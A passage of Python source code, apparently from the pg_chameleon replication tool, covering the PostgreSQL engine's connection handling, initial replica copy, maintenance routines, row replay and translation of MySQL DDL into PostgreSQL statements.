db_cursor.execute(sql_get_idx, (table, schema))
idx_tab = db_cursor.fetchall()
for idx in idx_tab:
self.logger.info('Adding %s', (idx[1]))
try:
self.pg_engine.pgsql_cur.execute(idx[0])
except:
self.logger.error("an error occcurred when executing %s" %(idx[0]))
if idx[2]:
self.pg_engine.store_table(destination_schema, table, ['foo'], None)
db_conn.close()
def __copy_tables(self):
"""
The method copies the data between tables, from the postgres source and the corresponding
postgresql loading schema. Before the process starts a snapshot is exported in order to get
a consistent database copy at the time of the snapshot.
"""
db_copy = self.__connect_db(False)
check_cursor = db_copy["cursor"]
db_conn = db_copy["connection"]
sql_recovery = """
SELECT pg_is_in_recovery();
"""
check_cursor.execute(sql_recovery)
db_in_recovery = check_cursor.fetchone()
db_conn.commit()
if not db_in_recovery[0]:
queue = mp.Queue()
snap_exp = mp.Process(target=self.__export_snapshot, args=(queue,), name='snap_export',daemon=True)
snap_exp.start()
self.snapshot_id = queue.get()
self.consistent = False
else:
self.snapshot_id = None
self.consistent = False
for schema in self.schema_tables:
table_list = self.schema_tables[schema]
for table in table_list:
self.__copy_data(schema, table, db_copy)
if not db_in_recovery[0]:
queue.put(False)
db_conn.close()
def init_replica(self):
"""
The method performs a full init replica for the given source
"""
self.logger.debug("starting init replica for source %s" % self.source)
self.__init_sync()
self.schema_list = [schema for schema in self.schema_mappings]
self.__build_table_exceptions()
self.__get_table_list()
self.__create_destination_schemas()
self.pg_engine.schema_loading = self.schema_loading
self.pg_engine.set_source_status("initialising")
try:
self.__create_destination_tables()
self.__copy_tables()
self.__create_indices()
self.pg_engine.grant_select()
self.pg_engine.swap_schemas()
self.__drop_loading_schemas()
self.pg_engine.set_source_status("initialised")
fake_master = [{'File': None, 'Position': None }]
self.pg_engine.set_source_highwatermark(fake_master, consistent=self.consistent)
notifier_message = "init replica for source %s is complete" % self.source
self.notifier.send_message(notifier_message, 'info')
self.logger.info(notifier_message)
except:
self.__drop_loading_schemas()
self.pg_engine.set_source_status("error")
notifier_message = "init replica for source %s failed" % self.source
self.notifier.send_message(notifier_message, 'critical')
self.logger.critical(notifier_message)
raise
class pg_engine(object):
def __init__(self):
python_lib=python_lib=os.path.dirname(os.path.realpath(__file__))
self.sql_dir = "%s/../sql/" % python_lib
self.sql_upgrade_dir = "%s/upgrade/" % self.sql_dir
self.table_ddl={}
self.idx_ddl={}
self.type_ddl={}
self.idx_sequence=0
self.type_dictionary = {
'integer':'integer',
'mediumint':'bigint',
'tinyint':'integer',
'smallint':'integer',
'int':'integer',
'bigint':'bigint',
'varchar':'character varying',
'character varying':'character varying',
'text':'text',
'char':'character',
'datetime':'timestamp without time zone',
'date':'date',
'time':'time without time zone',
'timestamp':'timestamp without time zone',
'tinytext':'text',
'mediumtext':'text',
'longtext':'text',
'tinyblob':'bytea',
'mediumblob':'bytea',
'longblob':'bytea',
'blob':'bytea',
'binary':'bytea',
'varbinary':'bytea',
'decimal':'numeric',
'double':'double precision',
'double precision':'double precision',
'float':'double precision',
'bit':'integer',
'year':'integer',
'enum':'enum',
'set':'text',
'json':'json',
'bool':'boolean',
'boolean':'boolean',
'geometry':'bytea',
'point': 'point'
}
self.dest_conn = None
self.pgsql_conn = None
self.logger = None
self.idx_sequence = 0
self.lock_timeout = 0
self.migrations = [
{'version': '2.0.1', 'script': '200_to_201.sql'},
{'version': '2.0.2', 'script': '201_to_202.sql'},
{'version': '2.0.3', 'script': '202_to_203.sql'},
{'version': '2.0.4', 'script': '203_to_204.sql'},
{'version': '2.0.5', 'script': '204_to_205.sql'},
{'version': '2.0.6', 'script': '205_to_206.sql'},
]
def check_postgis(self):
"""
The method checks whether postgis is present or not on the
"""
sql_check = """
SELECT
count(*)=1
FROM
pg_extension
WHERE
extname='postgis';
;"""
self.connect_db()
self.pgsql_cur.execute(sql_check)
postgis_check = self.pgsql_cur.fetchone()
self.postgis_present = postgis_check[0]
return postgis_check[0]
def __del__(self):
"""
Class destructor, tries to disconnect the postgresql connection.
"""
self.disconnect_db()
def set_autocommit_db(self, auto_commit):
"""
The method sets the auto_commit flag for the class connection self.pgsql_conn.
In general the connection is always autocommit but in some operations (e.g. update_schema_mappings)
is better to run the process in a single transaction in order to avoid inconsistencies.
:param autocommit: boolean flag which sets autocommit on or off.
"""
self.logger.debug("Changing the autocommit flag to %s" % auto_commit)
self.pgsql_conn.set_session(autocommit=auto_commit)
def connect_db(self):
"""
Connects to PostgreSQL using the parameters stored in self.dest_conn. The dictionary is built using the parameters set via adding the key dbname to the self.pg_conn dictionary.
This method's connection and cursors are widely used in the procedure except for the replay process which uses a
dedicated connection and cursor.
"""
if self.dest_conn and not self.pgsql_conn:
strconn = "dbname=%(database)s user=%(user)s host=%(host)s password=%(password)s port=%(port)s" % self.dest_conn
self.pgsql_conn = psycopg2.connect(strconn)
self.pgsql_conn .set_client_encoding(self.dest_conn["charset"])
self.set_autocommit_db(True)
self.pgsql_cur = self.pgsql_conn .cursor()
elif not self.dest_conn:
self.logger.error("Undefined database connection string. Exiting now.")
sys.exit()
elif self.pgsql_conn:
self.logger.debug("There is already a database connection active.")
def disconnect_db(self):
"""
The method disconnects the postgres connection if there is any active. Otherwise ignore it.
"""
if self.pgsql_conn:
self.pgsql_conn.close()
self.pgsql_conn = None
if self.pgsql_cur:
self.pgsql_cur = None
def set_lock_timeout(self):
"""
The method sets the lock timeout using the value stored in the class attribute lock_timeout.
"""
self.logger.debug("Changing the lock timeout for the session to %s." % self.lock_timeout)
self.pgsql_cur.execute("SET LOCK_TIMEOUT =%s;", (self.lock_timeout, ))
def unset_lock_timeout(self):
"""
The method sets the lock timeout using the value stored in the class attribute lock_timeout.
"""
self.logger.debug("Disabling the lock timeout for the session." )
self.pgsql_cur.execute("SET LOCK_TIMEOUT ='0';")
def create_replica_schema(self):
"""
The method installs the replica schema sch_chameleon if not already present.
"""
self.logger.debug("Trying to connect to the destination database.")
self.connect_db()
num_schema = self.check_replica_schema()[0]
if num_schema == 0:
self.logger.debug("Creating the replica schema.")
file_schema = open(self.sql_dir+"create_schema.sql", 'rb')
sql_schema = file_schema.read()
file_schema.close()
self.pgsql_cur.execute(sql_schema)
else:
self.logger.warning("The replica schema is already present.")
def detach_replica(self):
"""
The method detach the replica from mysql, resets all the sequences and creates the foreign keys
using the dictionary extracted from mysql. The result is a stand alone set of schemas ready to work.
The foreign keys are first created invalid then validated in a second time.
"""
self.connect_db()
self.set_source_id()
schema_mappings = self.get_schema_mappings()
fk_list = []
fk_counter = 0
sql_gen_reset = """
SELECT
format('SELECT setval(%%L::regclass,(select max(%%I) FROM %%I.%%I));',
replace(replace(column_default,'nextval(''',''),'''::regclass)',''),
column_name,
table_schema,
table_name
),
replace(replace(column_default,'nextval(''',''),'''::regclass)','') as seq_name
FROM
information_schema.columns
WHERE
table_schema IN (
SELECT
(jsonb_each_text(jsb_schema_mappings)).value
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s
)
AND column_default like 'nextval%%'
;"""
self.pgsql_cur.execute(sql_gen_reset, (self.i_id_source, ))
reset_statements = self.pgsql_cur.fetchall()
try:
for statement in reset_statements:
self.logger.info("resetting the sequence %s" % statement[1])
self.pgsql_cur.execute(statement[0])
except psycopg2.Error as e:
self.logger.error("SQLCODE: %s SQLERROR: %s" % (e.pgcode, e.pgerror))
self.logger.error(statement)
except:
raise
if not self.keep_existing_schema:
for foreign_key in self.fk_metadata:
table_name = foreign_key["table_name"]
table_schema = schema_mappings[foreign_key["table_schema"]]
fk_name = ("%s_%s") % (foreign_key["constraint_name"][0:20] , str(fk_counter))
fk_cols = foreign_key["fk_cols"]
referenced_table_name = foreign_key["referenced_table_name"]
referenced_table_schema = schema_mappings[foreign_key["referenced_table_schema"]]
ref_columns = foreign_key["ref_columns"]
fk_list.append({'fkey_name':fk_name, 'table_name':table_name, 'table_schema':table_schema})
sql_fkey = ("""ALTER TABLE "%s"."%s" ADD CONSTRAINT "%s" FOREIGN KEY (%s) REFERENCES "%s"."%s" (%s) NOT VALID;""" %
(
table_schema,
table_name,
fk_name,
fk_cols,
referenced_table_schema,
referenced_table_name,
ref_columns
)
)
fk_counter+=1
self.logger.info("creating invalid foreign key %s on table %s.%s" % (fk_name, table_schema, table_name))
try:
self.pgsql_cur.execute(sql_fkey)
except psycopg2.Error as e:
self.logger.error("could not create the foreign key %s on table %s.%s" % (fk_name, table_schema, table_name))
self.logger.error("SQLCODE: %s SQLERROR: %s" % (e.pgcode, e.pgerror))
self.logger.error("STATEMENT: %s " % (sql_fkey))
for fkey in fk_list:
self.logger.info("validating %s on table %s.%s" % (fkey["fkey_name"], fkey["table_schema"], fkey["table_name"]))
sql_validate = 'ALTER TABLE "%s"."%s" VALIDATE CONSTRAINT "%s";' % (fkey["table_schema"], fkey["table_name"], fkey["fkey_name"])
try:
self.pgsql_cur.execute(sql_validate)
except psycopg2.Error as e:
self.logger.error("could not validate the foreign key %s on table %s" % (fkey["table_name"], fkey["fkey_name"]))
self.logger.error("SQLCODE: %s SQLERROR: %s" % (e.pgcode, e.pgerror))
self.logger.error("STATEMENT: %s " % (sql_validate))
self.drop_source()
def get_inconsistent_tables(self):
"""
The method collects the tables in not consistent state.
The informations are stored in a dictionary which key is the table's name.
The dictionary is used in the read replica loop to determine wheter the table's modifications
should be ignored because in not consistent state.
:return: a dictionary with the tables in inconsistent state and their snapshot coordinates.
:rtype: dictionary
"""
sql_get = """
SELECT
v_schema_name,
v_table_name,
t_binlog_name,
i_binlog_position
FROM
sch_chameleon.t_replica_tables
WHERE
t_binlog_name IS NOT NULL
AND i_binlog_position IS NOT NULL
AND i_id_source = %s
;
"""
inc_dic = {}
self.pgsql_cur.execute(sql_get, (self.i_id_source, ))
inc_results = self.pgsql_cur.fetchall()
for table in inc_results:
tab_dic = {}
dic_key = "%s.%s" % (table[0], table[1])
tab_dic["schema"] = table[0]
tab_dic["table"] = table[1]
tab_dic["log_seq"] = int(table[2].split('.')[1])
tab_dic["log_pos"] = int(table[3])
inc_dic[dic_key] = tab_dic
return inc_dic
def grant_select(self):
"""
The method grants the select permissions on all the tables on the replicated schemas to the database roles
listed in the source's variable grant_select_to.
In the case a role doesn't exist the method emits an error message and skips the missing user.
"""
if self.grant_select_to:
for schema in self.schema_loading:
schema_loading = self.schema_loading[schema]["loading"]
self.logger.info("Granting select on tables in schema %s to the role(s) %s." % (schema_loading,','.join(self.grant_select_to)))
for db_role in self.grant_select_to:
sql_grant_usage = sql.SQL("GRANT USAGE ON SCHEMA {} TO {};").format(sql.Identifier(schema_loading), sql.Identifier(db_role))
sql_alter_default_privs = sql.SQL("ALTER DEFAULT PRIVILEGES IN SCHEMA {} GRANT SELECT ON TABLES TO {};").format(sql.Identifier(schema_loading), sql.Identifier(db_role))
try:
self.pgsql_cur.execute(sql_grant_usage)
self.pgsql_cur.execute(sql_alter_default_privs)
for table in self.schema_tables[schema]:
self.logger.info("Granting select on table %s.%s to the role %s." % (schema_loading, table,db_role))
sql_grant_select = sql.SQL("GRANT SELECT ON TABLE {}.{} TO {};").format(sql.Identifier(schema_loading), sql.Identifier(table), sql.Identifier(db_role))
try:
self.pgsql_cur.execute(sql_grant_select)
except psycopg2.Error as er:
self.logger.error("SQLCODE: %s SQLERROR: %s" % (er.pgcode, er.pgerror))
except psycopg2.Error as e:
if e.pgcode == "42704":
self.logger.warning("The role %s does not exist" % (db_role, ))
else:
self.logger.error("SQLCODE: %s SQLERROR: %s" % (e.pgcode, e.pgerror))
def set_read_paused(self, read_paused):
"""
The method sets the read proces flag b_paused to true for the given source.
The update is performed for the given source and for the negation of b_paused.
This approach will prevent unnecessary updates on the table t_last_received.
:param read_paused: the flag to set for the read replica process.
"""
not_read_paused = not read_paused
sql_pause = """
UPDATE sch_chameleon.t_last_received
SET b_paused=%s
WHERE
i_id_source=%s
AND b_paused=%s
;
"""
self.pgsql_cur.execute(sql_pause, (read_paused, self.i_id_source, not_read_paused))
def set_replay_paused(self, read_paused):
"""
The method sets the read proces flag b_paused to true for the given source.
The update is performed for the given source and for the negation of b_paused.
This approach will prevent unnecessary updates on the table t_last_received.
:param read_paused: the flag to set for the read replica process.
"""
not_read_paused = not read_paused
sql_pause = """
UPDATE sch_chameleon.t_last_replayed
SET b_paused=%s
WHERE
i_id_source=%s
AND b_paused=%s
;
"""
self.pgsql_cur.execute(sql_pause, (read_paused, self.i_id_source, not_read_paused))
def __check_maintenance(self):
"""
The method returns the flag b_maintenance for the current source.
:return:
:rtype: boolean
"""
sql_count = """
SELECT
b_maintenance
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_count, (self.i_id_source, ))
maintenance_running = self.pgsql_cur.fetchone()
return maintenance_running[0]
def __start_maintenance(self):
"""
The method sets the flag b_maintenance to true for the given source
"""
sql_start = """
UPDATE sch_chameleon.t_sources
SET b_maintenance='t'
WHERE i_id_source=%s;
"""
self.pgsql_cur.execute(sql_start, (self.i_id_source, ))
def end_maintenance(self):
"""
The method sets the flag b_maintenance to false for the given source
"""
sql_end = """
UPDATE sch_chameleon.t_sources
SET b_maintenance='f'
WHERE i_id_source=%s;
"""
self.pgsql_cur.execute(sql_end, (self.i_id_source, ))
def __pause_replica(self, others):
"""
The method pause the replica updating the b_paused flag for the given current source or the other sources in the target database
"""
if others:
where_cond = """WHERE i_id_source<>%s; """
else:
where_cond = """WHERE i_id_source=%s; """
sql_pause = """
UPDATE sch_chameleon.t_sources
SET b_paused='t'
%s
""" % where_cond
self.pgsql_cur.execute(sql_pause, (self.i_id_source, ))
def __resume_replica(self, others):
"""
The method resumes the replica updating the b_paused flag for the given current source or the other sources in the target database
"""
if others:
where_cond = """WHERE i_id_source<>%s; """
else:
where_cond = """WHERE i_id_source=%s; """
sql_resume = """
UPDATE sch_chameleon.t_sources
SET b_paused='f'
%s
""" % where_cond
self.pgsql_cur.execute(sql_resume, (self.i_id_source, ))
def __set_last_maintenance(self):
"""
The method updates the field ts_last_maintenance for the given source in the table t_sources
"""
sql_set = """
UPDATE sch_chameleon.t_sources
SET ts_last_maintenance=now()
WHERE
i_id_source=%s;
"""
self.pgsql_cur.execute(sql_set, (self.i_id_source, ))
def get_replica_paused(self):
"""
The method returns the status of the replica. This value is used in both read/replay replica methods for updating the corresponding flags.
:return: the b_paused flag for the current source
:rtype: boolean
"""
sql_get = """
SELECT
b_paused
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_get, (self.i_id_source, ))
replica_paused = self.pgsql_cur.fetchone()
return replica_paused[0]
def __wait_for_self_pause(self):
"""
The method returns the status of the replica. This value is used in both read/replay replica methods for updating the corresponding flags.
:return: the b_paused flag for the current source
:rtype: boolean
"""
sql_wait = """
SELECT
CASE
WHEN src.enm_status IN ('stopped','initialised','synced')
THEN 'proceed'
WHEN src.enm_status = 'running'
THEN
CASE
WHEN
src.b_paused
AND rcv.b_paused
AND rep.b_paused
THEN
'proceed'
WHEN
src.b_paused
THEN
'wait'
ELSE
'abort'
END
ELSE
'abort'
END AS t_action,
src.enm_status,
rcv.b_paused,
rep.b_paused,
src.b_paused
FROM
sch_chameleon.t_sources src
INNER JOIN sch_chameleon.t_last_received rcv
ON
src.i_id_source=rcv.i_id_source
INNER JOIN sch_chameleon.t_last_replayed rep
ON
src.i_id_source=rep.i_id_source
WHERE
src.i_id_source=%s
;
"""
self.logger.info("Waiting for the replica daemons to pause")
wait_result = 'wait'
while wait_result == 'wait':
self.pgsql_cur.execute(sql_wait, (self.i_id_source, ))
wait_result = self.pgsql_cur.fetchone()[0]
time.sleep(5)
return wait_result
def __vacuum_full_log_tables(self):
"""
The method runs a VACUUM FULL on the log tables for the given source
"""
sql_vacuum = """
SELECT
v_log_table,
format('VACUUM FULL sch_chameleon.%%I ;',
v_log_table
)
FROM
(
SELECT
unnest(v_log_table) AS v_log_table
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s
) log
;
"""
self.pgsql_cur.execute(sql_vacuum, (self.i_id_source, ))
vacuum_sql = self.pgsql_cur.fetchall()
for sql_stat in vacuum_sql:
self.logger.info("Running VACUUM FULL on the table %s" % (sql_stat[0]))
try:
self.pgsql_cur.execute(sql_stat[1])
except:
self.logger.error("An error occurred when running VACUUM FULL on the table %s" % (sql_stat[0]))
def __vacuum_log_tables(self):
"""
The method runs a VACUUM on the log tables for the given source
"""
sql_vacuum = """
SELECT
v_log_table,
format('VACUUM sch_chameleon.%%I ;',
v_log_table
)
FROM
(
SELECT
unnest(v_log_table) AS v_log_table
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s
) log
;
"""
self.pgsql_cur.execute(sql_vacuum, (self.i_id_source, ))
vacuum_sql = self.pgsql_cur.fetchall()
for sql_stat in vacuum_sql:
self.logger.info("Running VACUUM on the table %s" % (sql_stat[0]))
try:
self.pgsql_cur.execute(sql_stat[1])
except:
self.logger.error("An error occurred when running VACUUM on the table %s" % (sql_stat[0]))
def run_maintenance(self):
"""
The method runs the maintenance for the given source.
After the replica daemons are paused the procedure detach the log tables from the parent log table and performs a VACUUM FULL againts the tables.
If any error occurs the tables are attached to the parent table and the replica daemons resumed.
"""
self.logger.info("Pausing the replica daemons")
self.connect_db()
self.set_source_id()
check_maintenance = self.__check_maintenance()
if check_maintenance:
self.logger.info("The source is already in maintenance. Skipping the maintenance run.")
else:
self.__start_maintenance()
self.__pause_replica(others=False)
wait_result = self.__wait_for_self_pause()
if wait_result == 'abort':
self.logger.error("Cannot proceed with the maintenance")
return wait_result
if self.full:
self.__vacuum_full_log_tables()
else:
self.__vacuum_log_tables()
self.__set_last_maintenance()
self.logger.info("Resuming the replica daemons")
self.__resume_replica(others=False)
self.end_maintenance()
self.disconnect_db()
notifier_message = "maintenance for source %s is complete" % self.source
self.notifier.send_message(notifier_message, 'info')
self.logger.info(notifier_message)
def replay_replica(self):
"""
The method replays the row images in the target database using the function
fn_replay_mysql. The function returns a composite type.
The first element is a boolean flag which
is true if the batch still require replay. it's false if it doesn't.
In that case the while loop ends.
The second element is a, optional list of table names. If any table cause error during the replay
the problem is captured and the table is removed from the replica. Then the name is returned by
the function. As the function can find multiple tables with errors during a single replay run, the
table names are stored in a list (Actually is a postgres array, see the create_schema.sql file for more details).
Each batch which is looped trough can also find multiple tables so we return a list of lists to the replica_engine's
calling method.
"""
tables_error = []
replica_paused = self.get_replica_paused()
if replica_paused:
self.logger.info("Replay replica is paused")
self.set_replay_paused(True)
else:
self.set_replay_paused(False)
continue_loop = True
self.source_config = self.sources[self.source]
replay_max_rows = self.source_config["replay_max_rows"]
exit_on_error = True if self.source_config["on_error_replay"]=='exit' else False
while continue_loop:
sql_replay = """SELECT * FROM sch_chameleon.fn_replay_mysql(%s,%s,%s);""";
self.pgsql_cur.execute(sql_replay, (replay_max_rows, self.i_id_source, exit_on_error))
replay_status = self.pgsql_cur.fetchone()
if replay_status[0]:
self.logger.info("Replayed at most %s rows for source %s" % (replay_max_rows, self.source) )
replica_paused = self.get_replica_paused()
if replica_paused:
break
continue_loop = replay_status[0]
function_error = replay_status[1]
if function_error:
raise Exception('The replay process crashed')
if replay_status[2]:
tables_error.append(replay_status[2])
return tables_error
def set_consistent_table(self, table, schema):
"""
The method set to NULL the binlog name and position for the given table.
When the table is marked consistent the read replica loop reads and saves the table's row images.
:param table: the table name
"""
sql_set = """
UPDATE sch_chameleon.t_replica_tables
SET
t_binlog_name = NULL,
i_binlog_position = NULL
WHERE
i_id_source = %s
AND v_table_name = %s
AND v_schema_name = %s
;
"""
self.pgsql_cur.execute(sql_set, (self.i_id_source, table, schema))
def get_table_pkey(self, schema, table):
"""
The method queries the table sch_chameleon.t_replica_tables and gets the primary key
associated with the table, if any.
If there is no primary key the method returns None
:param schema: The table schema
:param table: The table name
:return: the primary key associated with the table
:rtype: list
"""
sql_pkey = """
SELECT
v_table_pkey
FROM
sch_chameleon.t_replica_tables
WHERE
v_schema_name=%s
AND v_table_name=%s
;
"""
self.pgsql_cur.execute(sql_pkey, (schema, table, ))
table_pkey = self.pgsql_cur.fetchone()
return table_pkey[0]
def cleanup_replayed_batches(self):
"""
The method cleanup the replayed batches for the given source accordingly with the source's parameter batch_retention
"""
self.connect_db()
source_config = self.sources[self.source]
batch_retention = source_config["batch_retention"]
self.logger.debug("Cleaning replayed batches for source %s older than %s" % (self.source,batch_retention) )
sql_cleanup = """
DELETE FROM
sch_chameleon.t_replica_batch
WHERE
b_started
AND b_processed
AND b_replayed
AND now()-ts_replayed>%s::interval
AND i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_cleanup, (batch_retention, self.i_id_source ))
self.disconnect_db()
def __generate_ddl(self, token, destination_schema):
"""
The method builds the DDL using the tokenised SQL stored in token.
The supported commands are
RENAME TABLE
DROP TABLE
TRUNCATE
CREATE TABLE
ALTER TABLE
DROP PRIMARY KEY
:param token: A dictionary with the tokenised sql statement
:param destination_schema: The ddl destination schema mapped from the mysql corresponding schema
:return: query the DDL query in the PostgreSQL dialect
:rtype: string
"""
count_table = self.__count_table_schema(token["name"], destination_schema)
query=""
if token["command"] =="CREATE TABLE":
table_metadata = token["columns"]
table_name = token["name"]
index_data = token["indices"]
table_ddl = self.__build_create_table_mysql(table_metadata, table_name, destination_schema, temporary_schema=False)
table_enum = ''.join(table_ddl["enum"])
table_statement = table_ddl["table"]
index_ddl = self.build_create_index( destination_schema, table_name, index_data)
table_pkey = index_ddl[0]
table_indices = ''.join([val for key ,val in index_ddl[1].items()])
self.store_table(destination_schema, table_name, table_pkey, None)
query = "%s %s %s " % (table_enum, table_statement, table_indices)
else:
if count_table == 1:
if token["command"] =="RENAME TABLE":
old_name = token["name"]
new_name = token["new_name"]
query = """ALTER TABLE "%s"."%s" RENAME TO "%s" """ % (destination_schema, old_name, new_name)
table_pkey = self.get_table_pkey(destination_schema, old_name)
if table_pkey:
self.store_table(destination_schema, new_name, table_pkey, None)
elif token["command"] == "DROP TABLE":
query=""" DROP TABLE IF EXISTS "%s"."%s";""" % (destination_schema, token["name"])
elif token["command"] == "TRUNCATE":
query=""" TRUNCATE TABLE "%s"."%s" CASCADE;""" % (destination_schema, token["name"])
elif token["command"] == "ALTER TABLE":
query=self.build_alter_table(destination_schema, token)
elif token["command"] == "DROP PRIMARY KEY":
self.__drop_primary_key(destination_schema, token)
return query
def build_enum_ddl(self, schema, enm_dic):
"""
The method builds the enum DDL using the token data.
The postgresql system catalog is queried to determine whether the enum exists and needs to be altered.
The alter is not written in the replica log table but executed as single statement as PostgreSQL do not allow the alter being part of a multi command
SQL.
:param schema: the schema where the enumeration is present
:param enm_dic: a dictionary with the enumeration details
:return: a dictionary with the pre_alter and post_alter statements (e.g. pre alter create type , post alter drop type)
:rtype: dictionary
"""
enum_name="enum_%s_%s" % (enm_dic['table'], enm_dic['column'])
sql_check_enum = """
SELECT
typ.typcategory,
typ.typname,
sch_typ.nspname as typschema,
CASE
WHEN typ.typcategory='E'
THEN
(
SELECT
array_agg(enumlabel)
FROM
pg_enum
WHERE
enumtypid=typ.oid
)
END enum_list
FROM
pg_type typ
INNER JOIN pg_namespace sch_typ
ON sch_typ.oid = typ.typnamespace
WHERE
sch_typ.nspname=%s
AND typ.typname=%s
;
"""
self.pgsql_cur.execute(sql_check_enum, (schema, enum_name))
type_data=self.pgsql_cur.fetchone()
return_dic = {}
pre_alter = ""
post_alter = ""
column_type = enm_dic["type"]
self.logger.debug(enm_dic)
if type_data:
if type_data[0] == 'E' and enm_dic["type"] == 'enum':
self.logger.debug('There is already the enum %s, altering the type')
new_enums = [val.strip() for val in enm_dic["enum_list"] if val.strip() not in type_data[3]]
sql_add = []
for enumeration in new_enums:
sql_add = """ALTER TYPE "%s"."%s" ADD VALUE '%s';""" % (type_data[2], enum_name, enumeration)
self.pgsql_cur.execute(sql_add)
elif type_data[0] != 'E' and enm_dic["type"] == 'enum':
self.logger.debug('The column will be altered in enum, creating the type')
pre_alter = """CREATE TYPE "%s"."%s" AS ENUM (%s);""" % (schema,enum_name, enm_dic["enum_elements"])
elif type_data[0] == 'E' and enm_dic["type"] != 'enum':
self.logger.debug('The column is no longer an enum, dropping the type')
post_alter = """DROP TYPE "%s"."%s"; """ % (schema,enum_name)
column_type = """ "%s"."%s" """ % (schema, enum_name)
elif not type_data and enm_dic["type"] == 'enum':
self.logger.debug('Creating a new enumeration type %s' % (enum_name))
pre_alter = """CREATE TYPE "%s"."%s" AS ENUM (%s);""" % (schema,enum_name, enm_dic["enum_elements"])
column_type = """ "%s"."%s" """ % (schema, enum_name)
return_dic["column_type"] = column_type
return_dic["pre_alter"] = pre_alter
return_dic["post_alter"] = post_alter
return return_dic
def build_alter_table(self, schema, token):
"""
The method builds the alter table statement from the token data.
The function currently supports the following statements.
DROP TABLE
ADD COLUMN
CHANGE
MODIFY
The change and modify are potential source of breakage for the replica because of
the mysql implicit fallback data types.
For better understanding please have a look to
http://www.cybertec.at/why-favor-postgresql-over-mariadb-mysql/
:param schema: The schema where the affected table is stored on postgres.
:param token: A dictionary with the tokenised sql statement
:return: query the DDL query in the PostgreSQL dialect
:rtype: string
"""
alter_cmd = []
ddl_pre_alter = []
ddl_post_alter = []
query_cmd=token["command"]
table_name=token["name"]
for alter_dic in token["alter_cmd"]:
if alter_dic["command"] == 'DROP':
alter_cmd.append("%(command)s %(name)s CASCADE" % alter_dic)
elif alter_dic["command"] == 'ADD':
column_type=self.get_data_type(alter_dic, schema, table_name)
column_name = alter_dic["name"]
enum_list = str(alter_dic["dimension"]).replace("'", "").split(",")
enm_dic = {'table':table_name, 'column':column_name, 'type':column_type, 'enum_list': enum_list, 'enum_elements':alter_dic["dimension"]}
enm_alter = self.build_enum_ddl(schema, enm_dic)
ddl_pre_alter.append(enm_alter["pre_alter"])
column_type= enm_alter["column_type"]
if column_type in ["character varying", "character", 'numeric', 'bit', 'float']:
column_type = column_type+"("+str(alter_dic["dimension"])+")"
if alter_dic["default"]:
default_value = "DEFAULT %s::%s" % (alter_dic["default"], column_type.strip())
else:
default_value=""
alter_cmd.append("%s \"%s\" %s NULL %s" % (alter_dic["command"], column_name, column_type, default_value))
elif alter_dic["command"] == 'CHANGE':
sql_rename = ""
sql_type = ""
old_column=alter_dic["old"]
new_column=alter_dic["new"]
column_name = old_column
enum_list = str(alter_dic["dimension"]).replace("'", "").split(",")
column_type=self.get_data_type(alter_dic, schema, table_name)
default_sql = self.generate_default_statements(schema, table_name, old_column, new_column)
enm_dic = {'table':table_name, 'column':column_name, 'type':column_type, 'enum_list': enum_list, 'enum_elements':alter_dic["dimension"]}
enm_alter = self.build_enum_ddl(schema, enm_dic)
ddl_pre_alter.append(enm_alter["pre_alter"])
ddl_pre_alter.append(default_sql["drop"])
ddl_post_alter.append(enm_alter["post_alter"])
ddl_post_alter.append(default_sql["create"])
column_type= enm_alter["column_type"]
if column_type=="character varying" or column_type=="character" or column_type=='numeric' or column_type=='bit' or column_type=='float':
column_type=column_type+"("+str(alter_dic["dimension"])+")"
sql_type = """ALTER TABLE "%s"."%s" ALTER COLUMN "%s" SET DATA TYPE %s USING "%s"::%s ;;""" % (schema, table_name, old_column, column_type, old_column, column_type)
if old_column != new_column:
sql_rename="""ALTER TABLE "%s"."%s" RENAME COLUMN "%s" TO "%s" ;""" % (schema, table_name, old_column, new_column)
query = ' '.join(ddl_pre_alter)
query += sql_type+sql_rename
query += ' '.join(ddl_post_alter)
return query
elif alter_dic["command"] == 'MODIFY':
column_type=self.get_data_type(alter_dic, schema, table_name)
column_name = alter_dic["name"]
enum_list = str(alter_dic["dimension"]).replace("'", "").split(",")
default_sql = self.generate_default_statements(schema, table_name, column_name)
enm_dic = {'table':table_name, 'column':column_name, 'type':column_type, 'enum_list': enum_list, 'enum_elements':alter_dic["dimension"]}
enm_alter = self.build_enum_ddl(schema, enm_dic)
ddl_pre_alter.append(enm_alter["pre_alter"])
ddl_pre_alter.append(default_sql["drop"])
ddl_post_alter.append(enm_alter["post_alter"])
ddl_post_alter.append(default_sql["create"])
column_type= enm_alter["column_type"]
if column_type=="character varying" or column_type=="character" or column_type=='numeric' or column_type=='bit' or column_type=='float':
column_type=column_type+"("+str(alter_dic["dimension"])+")"
query = ' '.join(ddl_pre_alter)
query += """ALTER TABLE "%s"."%s" ALTER COLUMN "%s" SET DATA TYPE %s USING "%s"::%s ;""" % (schema, table_name, column_name, column_type, column_name, column_type)
query += ' '.join(ddl_post_alter)
return query
query = ' '.join(ddl_pre_alter)
query += """%s "%s"."%s" %s;""" % (query_cmd , schema, table_name,', '.join(alter_cmd))
query += ' '.join(ddl_post_alter)
return query
def __drop_primary_key(self, schema, token):
"""
The method drops the primary key for the table.
As tables without primary key cannot be replicated the method calls unregister_table
to remove the table from the replica set.
The drop constraint statement is not built from the token but generated from the information_schema.
:param schema: The table's schema
:param token: the tokenised query for drop primary key
"""
self.logger.info("dropping primary key for table %s.%s" % (schema, token["name"],))
sql_gen="""
SELECT DISTINCT
format('ALTER TABLE %%I.%%I DROP CONSTRAINT %%I;',
table_schema,
table_name,
constraint_name
)
FROM
information_schema.key_column_usage
WHERE
table_schema=%s
AND table_name=%s
;
"""
self.pgsql_cur.execute(sql_gen, (schema, token["name"]))
value_check=self.pgsql_cur.fetchone()
if value_check:
sql_drop=value_check[0]
self.pgsql_cur.execute(sql_drop)
self.unregister_table(schema, token["name"])
def __count_active_sources(self):
"""
The method counts all the sources with state not in 'ready' or 'stopped'.
The method assumes there is a database connection active.
"""
sql_count = """
SELECT
count(*)
FROM
sch_chameleon.t_sources
WHERE
enm_status NOT IN ('ready','stopped','initialised')
;
"""
self.pgsql_cur.execute(sql_count)
source_count = self.pgsql_cur.fetchone()
return source_count
def get_active_sources(self):
"""
The method counts all the sources with state not in 'ready' or 'stopped'.
